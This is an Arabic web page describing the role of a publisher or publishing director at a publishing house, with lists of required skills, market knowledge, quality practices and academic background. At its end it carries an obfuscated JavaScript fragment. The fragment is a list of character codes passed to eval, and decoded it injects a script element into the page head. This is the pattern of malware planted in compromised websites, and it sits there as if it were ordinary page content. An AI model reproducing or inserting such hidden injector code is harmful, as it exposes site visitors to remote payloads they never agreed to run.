الناشر/ مدير النشر

الناشر/ أو مدير الناشر هو دينامو ومحرك العمل في دار النشر سواء كانت مستقلة ذات موارد محدودة أو دار نشر كبيرة ذات فريق كبير، وهو يشارك في اختيار العناوين وتوقيتات النشر والتفاوض على الحقوق ووضع خطط الإنتاج والتسويق ومتابعة المبيعات لاستخدام نتائجها في تطوير خطط النشر.

المهارات المطلوبة:
أن يكون قادرًا على:
• وضع خطط قصيرة الأجل وأخرى طويلة الأجل.
• التواصل مع المؤسسات الحكومية والخاصة.
• إدارة فريق العمل وتحفيزهم على العمل والتعرف على قدرات كل فرد من فريق العمل ونقاط القوة والضعف والعمل على إنجاز العمل (التحكيم، الإنتاج، التحرير والمراجعة، الدعاية) من خلال إلمام كاف يسمح بمتابعة وتقييم أداء كل قسم منها.
• مهارات خاصة فى التواصل مع فريق العمل ومع باقى الإدارات حتى يقابل سيولة فى العمل وسرعة وإنجاز.
• حل المشكلات الطارئة.
• عمل وقيادة اجتماعات دورية، دون الإطالة، للوقوف على المنجز من العمل.
• تقديم تقارير إنجاز دورية للإدارة حتى يتم متابعة التقدم في الخطة.

المعارف المطلوبة:
أن يكون قادرًا على:
• معرفة سوق النشر المحلي والإقليمي والعالمي وتوجهات كل منهم.
• معرفة طرق تنظيم وإدارة الفعاليات الثقافية.
• معرفة إطرق دارة مؤسسة عامة.
• فهم مراحل وعمليات تسويق الكتب.
• قراءة وفهم الميزانيات وتطويرها ومراقبتها.
• الإلمام باللغة الإنجليزية كتابة ومحادثة.
• معرفة باللوائح الخاصة بالنشر المحلي.
• معرفة أجندة معارض الكتب المحلية والعالمية وحضور المتاح منها.
• التعبير عن سياسة الدار وخططها العريضة في المنتديات واللقاءات الثقافية.
• متابعة إصدارات دور النشر الأخرى واستخلاص أحدث موضوعات النشر وأكثرها رواجًا للتوصية بالتأليف فيها عن طريق الاستكتاب.
• وضع استراتيجية واضحة في حدود الميزانية المخصصة له يستطيع عبرها الوصول إلى الهدف المطلوب.
• متابعة الجديد في سوق النشر العالمى ومحاولة تطبيقه أو ترجمته في داره.

معارف خاصة بالجودة:
• معايير الجودة أو مواصفات الجودة التي ستستخدم لتجعله قادرًا على تنفيذ العمل المطلوب بالمستوى المطلوب.
• معارف أخرى:
• التسجيل (التوثيق).
• الممارسات المتعلقة بمكان العمل:-

• إجراءات وتعليمات العمل.
• احتياطات الأمان الواجب مراعاتها.
• قضايا حماية البيئة (التخلص من النفايات مع التركيز على المواد الخطرة/الكيمائية، إعادة التدوير).

• الدراسة الاكاديمية
كليات الادب والاعلام بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);